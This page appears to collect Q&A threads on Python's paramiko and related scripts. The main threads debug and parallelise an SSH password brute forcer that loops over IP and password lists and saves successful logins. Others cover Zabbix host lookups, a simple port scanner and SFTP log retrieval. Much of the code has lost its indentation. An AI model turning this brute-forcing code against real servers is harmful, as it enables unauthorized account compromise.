I've been coding a small SSH brute forcer, to understand the paramiko module. However while going through the text file to see each password it is only testing out the last password in the text file. Am I using the correct loop? How would I use the for loop in this situation then?
import paramiko
UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
pwd = open(pass_file, "r")
ips = open(ip_file, "r")
def attempt():
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
while Found != 5:
global UserName
global port
try:
ssh.connect(ip, port, username=UserName, password=Passwords)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, Passwords)
else:
print '[!] %s:%s is CORRECT!' % (UserName, Passwords)
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
You are getting each and every line and replace the previous value in ip and passwords with the currently read value. Instead, if the number of ips and passwords are relatively smaller, you can do
count = 0
for ip in ips:
for pwd in open(pass_file, "r"):
try:
ssh.connect(ip, port, username=UserName, password=pwd)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, pwd)
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
count += 1
if count == 5:
return
Your two for loops simply iterate through each object and update the ip and Password variables each time, so that when they have finished the variables refer to the last values from the loop.
However it's not at all clear what you are trying to do with those variables, so I can't tell you how to fix it. Did you want to run the rest of the script once for each iteration? Or did you want to create a list of all the elements, then iterate through that?
Related
I am using the pyzabbix module to query some data through the Zabbix API. The script is reading through a text file that I specify using the -f switch and is supposed to return each line with data or that the host does not exist but when I run it, it only returns the last line of the text file.
Example data file would be:
server1
server2
And it would only return:
host server2 exist, hostid : 4517, group: [u'Servergroup1', u'Servergroup2']
My code is:
import optparse
import sys
import traceback
from getpass import getpass
from core import ZabbixAPI
def get_options():
usage = "usage: %prog [options]"
OptionParser = optparse.OptionParser
parser = OptionParser(usage)
parser.add_option("-s","--server",action="store",type="string",\
dest="server",help="(REQUIRED)Zabbix Server URL.")
parser.add_option("-u", "--username", action="store", type="string",\
dest="username",help="(REQUIRED)Username (Will prompt if not given).")
parser.add_option("-p", "--password", action="store", type="string",\
dest="password",help="(REQUIRED)Password (Will prompt if not given).")
parser.add_option("-H","--hostname",action="store",type="string",\
dest="hostname",help="(REQUIRED)hostname for hosts.")
parser.add_option("-f","--file",dest="filename",\
metavar="FILE",help="Load values from input file. Specify - for standard input Each line of file contains whitespace delimited: <hostname>")
options,args = parser.parse_args()
if not options.server:
options.server = raw_input('server http:')
if not options.username:
options.username = raw_input('Username:')
if not options.password:
options.password = getpass()
return options, args
def errmsg(msg):
sys.stderr.write(msg + "\n")
sys.exit(-1)
if __name__ == "__main__":
options, args = get_options()
zapi = ZabbixAPI(options.server,options.username, options.password)
hostname = options.hostname
file = options.filename
if file:
with open(file,"r") as f:
host_list = f.readlines()
for hostname in host_list:
hostname = hostname.rstrip()
try:
hostinfo = zapi.host.get({"filter":{"host":hostname},"output":"hostid", "selectGroups": "extend", "selectParentTemplates": ["templateid","name"]})[0]
hostid = hostinfo["hostid"]
host_group_list = []
host_template_list = []
for l in hostinfo["groups"]:
host_group_list.append(l["name"])
for t in hostinfo["parentTemplates"]:
host_template_list.append(t["name"])
#print "host %s exist, hostid : %s, group: %s, template: %s " % (hostname, hostid, host_group_list, host_template_list)
print "host %s exist, hostid : %s, group: %s" % (hostname, hostid, host_group_list)
except:
print "host not exist: %s" %hostname
else:
try:
hostinfo = zapi.host.get({"filter":{"host":hostname},"output":"hostid", "selectGroups": "extend", "selectParentTemplates": ["templateid","name"]})[0]
hostid = hostinfo["hostid"]
host_group_list = []
host_template_list = []
for l in hostinfo["groups"]:
host_group_list.append(l["name"])
for t in hostinfo["parentTemplates"]:
host_template_list.append(t["name"])
print "host %s exist, hostid : %s, group: %s, template: %s " % (hostname, hostid, host_group_list, host_template_list)
except:
print "host not exist: %s" %hostname
Your try block has incorrect indentation level.
Instead of
for hostname in host_list:
hostname = hostname.rstrip()
try:
...
except:
print "host not exist: %s" %hostname
It should be
for hostname in host_list:
hostname = hostname.rstrip()
try:
...
except:
print "host not exist: %s" %hostname
Your try block, which I think you want executed for each hostname, is not inside your for loop. So it is only executed after the for loop completes, at which point you have the hostname from the last line of the file.
Simplifying your code should make the problem easier to see:
for hostname in host_list:
hostname = hostname.rstrip()
try:
do_stuff(hostname)
except:
print "host not exist: %s" %hostname
You're only doing the stuff in the try block once, with the last hostname that you found in the list.
To fix this, make a list of hostnames and then iterate over that list, performing your computations for each hostname
You can prevent this sort of issue by simplifying your code, in this case by extracting the procedure for processing a hostname, to a well-named function (ie, not do_stuff :) ). This will make the overall structure of the loop more readable, and will make the execution flow more obvious.
I am new to Python.
I am using Paramiko module to login to the Linux servers. However I have 2 different passwords for authentication and I want the server to be logged in using either of them. In case both fails, I am raising the exception for it.
I am facing problem when I have to use the second password. Here is sample for the same.
server.txt is having the list of servers
file1 = 'D:\Linux\server.txt'
with open(file1) as f:
switch_ip = f.readlines()
switch_ip = [x.strip() for x in switch_ip]
username = "user1"
password1 = "abcd2"
password2 = "efcdrf2"
def simple_out(cmd):
try:
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
x=[]
ssh.connect(IP,port =22,username = username, password = password1 or password2)
pass
time.sleep(2)
stdin, stdout, stderr = ssh.exec_command(cmd)
line1 = stdout.readline() #read line by line
while line1:
split_words = line1.split() #List
# split_words.insert(0,IP)
print split_words
str1 = ' '.join(split_words) #String
x.append(str1)
line1=stdout.readline()
return [x]
except (paramiko.BadHostKeyException, paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e:
time.sleep(2)
buf = StringIO.StringIO(e)
line3 = buf.read()
y=[line3]
return [y]
for IP in switch_ip:
output = simple_out("df -h") # will call function and execute command
out1 = output[0] #t
for items in out1:
book = xlrd.open_workbook('D:\\Linux\\xlwt example.xls')
sheet2 = book.sheet_by_index(0)
row_count = sheet2.nrows
column_count = 1
sheet1.write(row_count, 0, IP)
sheet1.write(row_count, column_count, items)
wb.save('D:\\Linux\\xlwt example.xls')
time.sleep(2)
I want to login to the servers using either of the 2 passwords
you can use try catch block for each password and continue in your program see below example:
try:
ssh.connect(IP,port =22,username = username, password = password1)
except paramiko.AuthenticationException as e: #catch other exceptions as well
ssh.connect(IP,port =22,username = username, password = password2)
*I want to print out ip addresses from textfile (solved)
****no ip address in the textfile and error message will be shown.** (solved)
I have attached my current codes at the bottom, can any one please help?**
**
****IP addresses in the textfile will look like this.****
**
192.168.12.1
192.168.12.28
*****And the following is my current codes...*****
f=open('output.txt','r')
print "IP address is ", f.read()
f.close()
Use file.readlines() inside a loop.
So, the Code will be:
f=open('output2.txt','r')
c=f.readlines()
for i in c :
print ("IP address of attacker is ", i)
f.close()
Get IP address from text file and check. See my code on git.
import socket
import re
f = open('ip_list.txt', 'r') #Text file with many ip address
o = f.read()
ip1 = re.findall( r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", o )
hosts = ip1
ports = [80]
for host in hosts:
for port in ports:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((host, port))
if result == 0:
print(" [*] Port " + str(port) + " open!" + host)
else: print("[+] CLOSE HOST " + host + ":" + str(port))
except:
pass
It is best to open the file in its own context with 'with'. This way it will be closed automatically after the last line has been reached. Then loop trough the lines and add your text before each line. Another upside of this solution is that you do not have to keep all IPs in memory. The IPs will be streamed one at a time.
This code will also print a message if no ip was found.
with open('output2.txt','r') as f:
ip_not_found = True
for line in f:
ip_not_found = False
print "IP address of attacker is {IP}".format(IP=line)
if ip_not_found:
print 'no ip address was found'
import sys
import os
import time
b='sudo tshark -i ens33 -Y "tcp contains "attack"" -T fields -e ip.src -a duration:20>output2.txt'
a=os.popen(b)
time.sleep(22)
with open(output2.txt,"r") as f:
ip=f.read.split('\n')
for Ip in ip:
print "IP address of attacker is ", Ip
You have to just split the contents of the file at every newline.
import ipaddress
ip_address_file = open('ip.txt', 'r') # open text file with ip addresses
for i in ip_address_file: # loop through the ip text file
i = i.strip() # read each line
try:
i = ipaddress.ip_address(str(i)) #validates either ip is ipv4 or 6
except ValueError: #catch error for invalid ip format
print('invalid ip '.format(i))
continue # if line empty continue with loop
I've coded a simple SSH Bruteforcer , and I am trying to make it multi-threaded as it is running very slowly at the moment. As you can see in the last few lines I have given it an attempt, but don't understand threading fully. I have read a few examples but I don't quite understand it fully, so I felt adding into my program will make me understand it better.
Code:
try:
import paramiko
except ImportError:
print("Paramiko module not installed, exiting.")
from multiprocessing.dummy import Pool, Process, JoinableQueue as Queue
import os
from datetime import datetime
startTime = datetime.now()
UserName2 = 'root'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
IPLines = 0
PasswordLines = 0
with open('pass.txt') as txt1:
for line in txt1:
if line.strip():
PasswordLines += 1
with open('ip.txt') as txt2:
for line2 in txt2:
if line2.strip():
IPLines += 1
current_attempts = 0
max_attempts = PasswordLines * IPLines
def print_results(found):
while True:
ip, password = found.get()
print("Found: %r %r" % (ip, password))
found.task_done()
def init(found_):
global found
found = found_
def generate_passwords():
#return (line.strip() for line in open(pass_file))
global ip
global pwd
global txt4
txt3 = open(pass_file, "r")
txt4 = open(ip_file, "r")
for line3 in txt3.readlines():
pwd = line3.strip()
for line4 in txt4.readlines():
ip = line4.strip()
def check(ip_password):
global current_attempts
ip, password = ip_password
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port, username=UserName2, password=pwd)
except paramiko.AuthenticationException, e:
print e
print '[-] %s:%s fail!' % (UserName2, pwd)
current_attempts += 1
except Exception, e:
print e
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName2, pwd, ip)
username, password, ipaddress = UserName2, pwd, ip
found.put((username,password,ipaddress))
seconds_taken = datetime.now() - startTime
print 'brute forcing took %s seconds' % seconds_taken
ssh.close()
print 'Found login in %s attempts' % current_attempts
if os.path.isfile("correct.txt"):
c = open("correct.txt", "a")
c.write('\n' + ip + ':' + UserName2 + ':' + pwd)
elif os.path.isfile("correct.txt"):
c = open('correct.txt', "w")
c.write(ip + ':' + UserName2 + ':' + pwd)
def main():
found = Queue()
t = Process(target=check, args=[found])
t.daemon = True # do not survive the parent
t.start()
pool = Pool(processes=20, initializer=init, initargs=[found])
args = ((ip, password) for password in generate_passwords() for ip in txt4)
for _ in pool.imap_unordered(check, args):
pass
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
found.join() # wait until all results are printed
if __name__ == "__main__":
main()
Errors:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 65, in check
ip, password = ip_password
TypeError: iteration over non-sequence
Traceback (most recent call last):
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 107, in <module>
main()
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 99, in main
args = ((ip, password) for password in generate_passwords() for ip in txt4)
TypeError: 'NoneType' object is not iterable
The problem is embarrassingly parallel. You can run concurrently the ssh connection attempts both for different ips and passwords:
#!/usr/bin/env python
# remove .dummy to use processes instead of threads
from multiprocessing.dummy import Pool
def check(params):
ip, username, password = params
# emulate ssh login attempt #XXX put your ssh connect code here
import random
successful = random.random() < .0001
return successful, params
def main():
creds = {}
ips = ["168.1.2.%d" % i for i in range(256)] #XXX dummy ip list, use yours
usernames = ["nobody", "root"] #XXX dummy user list, use yours
def generate_args():
for ip in ips:
for username in usernames:
for password in generate_passwords():
if (ip, username) in creds:
break
yield ip, username, password
pool = Pool(processes=20)
for success, params in pool.imap_unordered(check, generate_args()):
if not success:
continue
print("Found: %r" % (params,))
ip, username, password = params
creds[ip, username] = password
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
if __name__=="__main__":
main()
where ips is a list if all ips you want to try and generate_passwords() is a generator that yields one password at a time, here's an example:
def generate_passwords(pass_file):
return (line.strip() for line in open(pass_file))
About errors
ValueError: too many values to unpack
your code has found.put((username,password,ipaddress)) (a tuple with 3 values) but print_results() function expects ip, password = found.get() (2 values). The error "too many values to unpack" is because 3 is larger than 2.
'NoneType' object is not iterable
attempt() function returns nothing (None) but you put it in the place for generate_passwords() that must generate passwords (see the example implementation above).
I would like to retrieve multiple log files from an Ubuntu server (using Python 2.7 on win 7 machine) without having to write verbose, repetitive code. I'm sure I can use a loop to accomplish this, but I can't come up with any valid solutions (neophyte programmer). I need the direction of someone more seasoned than I. In advanced, I appreciate the help. Below is the code I'm using in my script to log into a server and retrieve one file. Below is a sample path of files I would like to retrieve at the same time:
/var/log/apache/a.log
/var/log/apache/e.log
/var/opt/smart/log/me.log
/var/opt/smart/log/se.log
I have several more paths, but I imagine you get the idea. Below is the code used to log into the server:
def do_siteserver(self, line):
import paramiko
paramiko.util.log_to_file('c:\Python27\paramiko-wininst.log')
host = '10.5.48.65'
port = 22
transport = paramiko.Transport((host,port))
while True:
try:
print '\n'
passW = raw_input("Enter the SiteServer weekly password: ")
password = passW
username = 'gilbert'
print '\n'
print 'Establishing SFTP connection to: ', host + ':' + str(port), '...'
transport.connect(username = username, password = password)
sftp = paramiko.SFTPClient.from_transport(transport)
print 'Authorization Successful!!!'
filepath = '/var/log/apache2/error.log'
localpath = 'C:\\remote\\NewFile.log'
sftp.get(filepath, localpath)
sftp.close()
transport.close()
break
except:
print '\n'
print "Authorization Failed!!!"
break
Instead of
filepath = '/var/log/apache2/error.log'
localpath = 'C:\\remote\\NewFile.log'
sftp.get(filepath, localpath)
I propose this :
log_names = {
"/var/log/apache2/error.log" : 'C:\\remote\\NewFile.log',
"/var/log/apache/a.log" : 'C:\\remote\\NewFile_a.log',
} # add here all the log files you want to retrieve
for log_file, local_name in log_names.iteritems():
sftp.get(log_file, local_name)
That ?? :
def do_siteserver(self, line):
import paramiko
host = '10.5.48.65'
port = 22
username = 'gilbert'
password = raw_input("\nEnter the SiteServer weekly password: ")
localpath = 'C:\\remote\\NewFile.log'
paramiko.util.log_to_file('c:\Python27\paramiko-wininst.log')
with open(localpath,'w') as lf:
for filepath in ('/var/log/apache/a.log',
'/var/log/apache/e.log',
'/var/opt/smart/log/me.log'
'/var/opt/smart/log/se.log'):
try:
print '\nEstablishing SFTP connection to: {}: {}...'.format(host,port)
transport = paramiko.Transport((host,port))
transport.connect(username = username, password = password)
sftp = paramiko.SFTPClient.from_transport(transport)
print 'Authorization Successful!!!'
lf.write("Content of server's file : "+filepath+'\n\n')
sftp.get(filepath, localpath)
# or sftp.get(filepath, lf) ?
sftp.close()
transport.close()
lf.write("\n\n\n")
except:
print "\nAuthorization Failed!!!"
break
I understood that you want to record the got contents in only one file of path 'C:\remote\NewFile.log'
I don't know if mixing instruction sftp.get(filepath, localpath) and instruction lf.write() is authorized.
.
EDIT
Now I have understood the aim I can propose a more correct code:
def do_siteserver(self, line):
import paramiko
host = '10.5.48.65'
port = 22
username = 'gilbert'
password = raw_input("\nEnter the SiteServer weekly password: ")
localpath = 'C:\\remote\\NewFile'
paramiko.util.log_to_file('c:\Python27\paramiko-wininst.log')
for filepath in ('/var/log/apache/a.log',
'/var/log/apache/e.log',
'/var/opt/smart/log/me.log'
'/var/opt/smart/log/se.log'):
try:
print '\nEstablishing SFTP connection to: {}: {}...'.format(host,port)
transport = paramiko.Transport((host,port))
transport.connect(username = username, password = password)
sftp = paramiko.SFTPClient.from_transport(transport)
print 'Authorization Successful!!!'
sftp.get(filepath, localpath + filepath.replace('/','_'))
sftp.close()
transport.close()
except:
print "\nAuthorization Failed!!!"
break
BY the way, there is no need of break in the try portion